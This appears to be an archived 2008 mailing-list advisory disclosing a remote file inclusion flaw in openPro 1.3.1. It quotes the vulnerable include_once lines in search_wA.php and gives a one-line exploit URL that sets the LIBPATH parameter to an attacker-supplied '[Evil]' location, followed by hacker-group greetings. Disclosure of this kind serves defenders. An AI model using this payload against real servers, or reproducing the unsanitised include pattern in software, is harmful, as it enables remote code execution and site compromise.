New User, Welcome! Login

openPro 1.3.1 (LIBPATH) Remote RFI Vulnerability

From:	Ghost hacker <ghost-r00t hotmail com>
To:	=?iso-8859-6?Q?=CC=EA=E3=E8?= <jalikom hotmail com>, =?iso-8859-6?Q?=D3=CA=D1=E8=E3?= <submit milw0rm com>, =?iso-8859-6?Q?=C7=E4=D3=EA=E3=D1=E8=CA=EA_=E1=E8=E3=D3?= <bugtraq securityfocus com>
Cc:
Subject:	openPro 1.3.1 (LIBPATH) Remote RFI Vulnerability
Date:	Wed - Jul 16, 2008 01:38 PM


#####################################################################################################
 openPro 1.3.1 (LIBPATH) Remote RFI Vulnerability
######################################################################################################
[~] Found : Ghost Hacker [ R-H TeaM ]           |,  .-.  .-.  ,|
[~] HOME  : www.Real-Hack.net                   | )(_o/  \o_)( |
[~] Email : Ghost-r00t@Hotmail.com              |/     /\     \|
[~] Script : openPro 1.3.1
[~] Download Script : https://sourceforge.net/project/showfiles.php?group_id=136953
############################# [ I love the Messenger of Allah Mohammad ] #############################
[~] Error ( search_wA.php ) :
include_once($LIBPATH."/db.php");
include_once($LIBPATH."/stdlib.php");
include_once($LIBPATH."/users.php");
include_once($LIBPATH."/windows.php");
[~] Exploit :
http://xxxx/[path]/search_wA.php?LIBPATH=[Evil]
############################# [ I love the Messenger of Allah Mohammad ] ############################
[~] Greetz :
QaTaR BoeZ TeaM & Aseg-Rabe7 & PROTO & x.CJP.x & 4Bo3tB & Mr.JUVE & Mr.hope & LeGeNd HaCkEr ..
Root Hacker & the-pirate.org & My Blog [ gh0st10.wordpress.com ]
All Members Real Hack And All My Friends And My Team ..
######################################################################################################
 Real-hack.Net ( R-H TeaM ) ..
######################################################################################################
_________________________________________________________________
Express yourself instantly with MSN Messenger! Download today it's FREE!
http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/

Nearly all of LinuxRocket's features are free. Be kind and donate to the cause!